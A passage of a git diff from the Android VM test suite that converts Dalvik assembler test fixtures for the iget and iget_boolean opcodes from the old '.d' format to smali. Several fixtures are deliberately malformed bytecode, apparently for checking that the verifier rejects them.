@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_5.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_5;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_5;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.d
deleted file mode 100644
index 8ea70c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_6.java
-.class public dot.junit.opcodes.iget.d.T_iget_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget/TestStubs/<init>()V
-
-       iget v1, v0, dot.junit.opcodes.iget.TestStubs.TestStubField I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali
new file mode 100644
index 0000000..f4bc9c4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_6.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/TestStubs;-><init>()V
+
+       iget v1, v0, Ldot/junit/opcodes/iget/TestStubs;->TestStubField:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.d
deleted file mode 100644
index a68b0f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_7.java
-.class public dot.junit.opcodes.iget.d.T_iget_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_7no_class.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali
new file mode 100644
index 0000000..cdb5c1d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_7.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_7no_class;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.d
deleted file mode 100644
index 9fc3b75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_8.java
-.class public dot.junit.opcodes.iget.d.T_iget_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_8.i1N I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali
new file mode 100644
index 0000000..89e4eb0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_8.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_8;->i1N:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.d
deleted file mode 100644
index 268398c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.d
+++ /dev/null
@@ -1,41 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_9.java
-.class public dot.junit.opcodes.iget.d.T_iget_9
-.super java/lang/Object
-
-.field public  val F
-
-.method  <clinit>()V
-.limit regs 2
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()F
-.limit regs 4
-
-       const v0, 0
-       iget v1, v0, dot.junit.opcodes.iget.d.T_iget_9.val F
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali
new file mode 100644
index 0000000..3cb0e58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_9.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_9.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_9;
+.super  Ljava/lang/Object;
+
+.field public  val:F
+
+.method  constructor static <clinit>()V
+.registers 2
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()F
+.registers 4
+
+       const v0, 0
+       iget v1, v0, Ldot/junit/opcodes/iget/d/T_iget_9;->val:F
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.d
deleted file mode 100644
index 23b0a93..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.d
+++ /dev/null
@@ -1,48 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_1.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1
-.super java/lang/Object
-
-.field public  i1 Z
-.field protected  p1 Z
-.field private  pvt1 Z
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const/4 v0, 1
-       iput-boolean v0, v1, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.i1 Z
-
-       const/16 v0, 1
-       iput-boolean v0, v1, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.p1 Z
-
-       const/16 v0, 1
-       iput-boolean v0, v1, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.pvt1 Z
-       
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali
new file mode 100644
index 0000000..0d79556
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1.smali
@@ -0,0 +1,48 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_1.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+.field protected  p1:Z
+.field private  pvt1:Z
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const/4 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->i1:Z
+
+       const/16 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->p1:Z
+
+       const/16 v0, 1
+       iput-boolean v0, v1, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->pvt1:Z
+       
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.d
deleted file mode 100644
index 540ecc5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_11.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_11
-.super dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.p1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali
new file mode 100644
index 0000000..35b9f19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_11.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_11;
+.super  Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->p1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.d
deleted file mode 100644
index e0a918f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_12.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_12
-.super dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_boolean/d/T_iget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_1.pvt1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali
new file mode 100644
index 0000000..e9122eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_12.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_12;
+.super  Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_1;->pvt1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.d
deleted file mode 100644
index 50ad238..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_13.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_13.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali
new file mode 100644
index 0000000..0214be4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_13.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_13;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.d
deleted file mode 100644
index 38a56f6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_14.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_14
-.super java/lang/Object
-
-.field public  i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.smali
new file mode 100644
index 0000000..25edd32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_14;
+.super Ljava/lang/Object;
+.source "T_iget_boolean_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-boolean v0, p0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.d
deleted file mode 100644
index 9b165d9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_15.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali
new file mode 100644
index 0000000..c17fa98
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_15.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-boolean v0, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.d
deleted file mode 100644
index 8eb7f27..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_16.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-boolean v0, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_16.smali
new file mode 100644
index 0000000..9366295
--- /dev/null
